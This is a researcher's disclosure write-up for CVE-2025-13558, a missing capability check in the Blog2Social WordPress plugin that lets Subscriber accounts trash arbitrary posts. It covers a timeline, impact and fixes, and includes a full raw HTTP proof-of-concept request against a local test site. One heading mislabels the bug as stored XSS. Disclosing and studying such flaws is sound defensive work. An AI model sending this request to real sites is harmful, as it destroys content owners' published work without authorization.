CVE-2025-13558 affects the WordPress plugin “Blog2Social: Social Media Auto Post & Scheduler” (commonly referenced as Blog2Social) and represents a classic object-level authorization failure where an authenticated user can trigger a destructive action against content they do not own. According to the public CVE description, all versions up to and including 8.7.0 are impacted, and the practical outcome is that a low-privileged authenticated account (Subscriber and above) can change the status of arbitrary posts to “trash,” resulting in immediate, user-visible disappearance of published content and disruption of editorial operations. The plugin’s footprint is non-trivial—WordPress.org reports “Active installations 50,000+,” which makes authorization regressions of this kind especially consequential in real deployments where Subscriber accounts exist for memberships, customers, forums, or gated content.
| CVE | CVE-2025-13558 |
| Plugin Version | Blog2Social <= 8.7.0 |
| Critical | High |
| All Time | 4 566 337 |
| Active installations | 50 000+ |
| Publicly Published | November 24, 2025 |
| Last Updated | November 24, 2025 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13558 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/blog2social/blog2social-870-missing-authorization-to-authenticated-subscriber-arbitrary-post-trashing |
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Timeline
| November 20, 2025 | Plugin testing and vulnerability detection in the Blog2Social: Social Media Auto Post & Scheduler have been completed |
| November 20, 2025 | I contacted the author of the plugin and provided a vulnerability PoC with a description and recommendations for fixing |
| November 24, 2025 | Registered CVE-2025-13558 |
Discovery of the Vulnerability
The issue is rooted in an AJAX action pathway that performs a privileged state transition (moving a post to the trash) while validating only that the caller is logged in and can “read,” rather than validating authorization over the specific post object being modified. The NVD summary frames this as “missing capability check” in a function named deleteUserCcDraftPost, enabling authenticated attackers with Subscriber-level access and above to change arbitrary posts’ status to trash in affected versions. In WordPress terms, this is a failure to enforce a meta-capability check scoped to the target object (the post ID), which is the difference between “the user is authenticated” and “the user is authorized to modify this particular resource.”
Understanding of Missing Auth attack’s
Although CVE-2025-13558 is not a confidentiality issue, it is still a high-impact security defect because integrity and availability are first-class security properties in WordPress publishing workflows. WordPress sites frequently grant Subscriber accounts for comments, memberships, WooCommerce customers, LMS students, or community access; in those environments, “any authenticated user can hide any post” becomes operationally similar to a defacement or denial-of-content incident, even if the content is technically recoverable from the trash. The broader pattern is the same one seen in many WordPress authorization bugs: a handler trusts a user-supplied object identifier (postId) and performs an action that should be guarded by an object-scoped authorization decision (for posts, typically a meta capability such as delete_post mapped by map_meta_cap). WordPress’s own documentation highlights that current_user_can() supports object-aware checks for meta capabilities by passing an object ID, which is precisely the class of check that is missing in this vulnerability.
Exploiting the Stored XSS Vulnerability
To exploit CVE-2025-13558, an attacker with Subscriber+ cookies:
POC:
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://127.0.0.1/wordpress/wp-admin/admin.php?page=blog2social Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 76 Origin: http://127.0.0.1 DNT: 1 Sec-GPC: 1 Connection: keep-alive Cookie: wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=1%7C1763749166%7CFRNcH2hcZVLEyzgfEpsin0E1J4mMHAyfU2ysayJP2gT%7Cc23403bad10e9ac9e4910f7d7472ed109342e9e56c6fc36713c43d234a4346b2; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=1%7C1763749166%7CFRNcH2hcZVLEyzgfEpsin0E1J4mMHAyfU2ysayJP2gT%7C3ef899d81055263c4746ec9eb9dc0805bc577a981b41150547e40f4f37f022c7; wp-settings-time-2=1763576371 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin b2s_security_nonce=NONCE_FROM_http://127.0.0.1/wordpress/wp-admin/admin.php?page=blog2social&action=b2s_delete_user_cc_draft_post&postId=36____
From a real-world attacker’s perspective, the most important characteristic here is that the operation is low-friction and repeatable: once an attacker has any authenticated foothold and can retrieve a valid nonce, they can iterate post IDs and trash large portions of a site’s content in minutes, creating a sudden “site looks empty” event that directly impacts trust and revenue. This is particularly damaging on news sites, e-commerce blogs, and SEO-dependent properties where disappearance of cornerstone pages and posts can cause immediate traffic drops, broken internal links, and reputational harm that persists even after restoration. While “trash” is not permanent deletion, incident response still costs time, may require auditing what was affected, and can trigger cascading operational issues (missed campaigns, failed syndication, broken social media scheduling, and editorial queue disruption). The NVD/Rapid7 summaries classify the issue as unauthorized modification of data (post status), which accurately reflects the integrity impact even without a confidentiality component.
Recommendations for Improved Security
Mitigation should be framed as “restore WordPress’s intended authorization model for post mutations” and “limit blast radius even if an endpoint is reached.” At the code level, the handler must enforce an object-scoped capability check before mutating a post, typically by validating the incoming postId as an integer and then requiring current_user_can('delete_post', $post_id) (or current_user_can('delete_post', $post_id) plus any plugin-specific ownership rules) prior to calling wp_trash_post() or equivalent. WordPress’s own guidance on current_user_can() explicitly supports meta-capability checks against a specific object ID, which is the correct mechanism to prevent exactly this kind of IDOR. At the product level, administrators should update to a fixed version once available (the CVE record states affected versions are up to and including 8.7.0), and in the interim they should minimize unnecessary Subscriber accounts, audit role assignments, and ensure that plugin-defined custom capabilities are not granted broadly unless required for the site’s business logic.
By taking proactive measures to address Missing Auth vulnerabilities like CVE-2025-13558 WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
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Dmitrii I.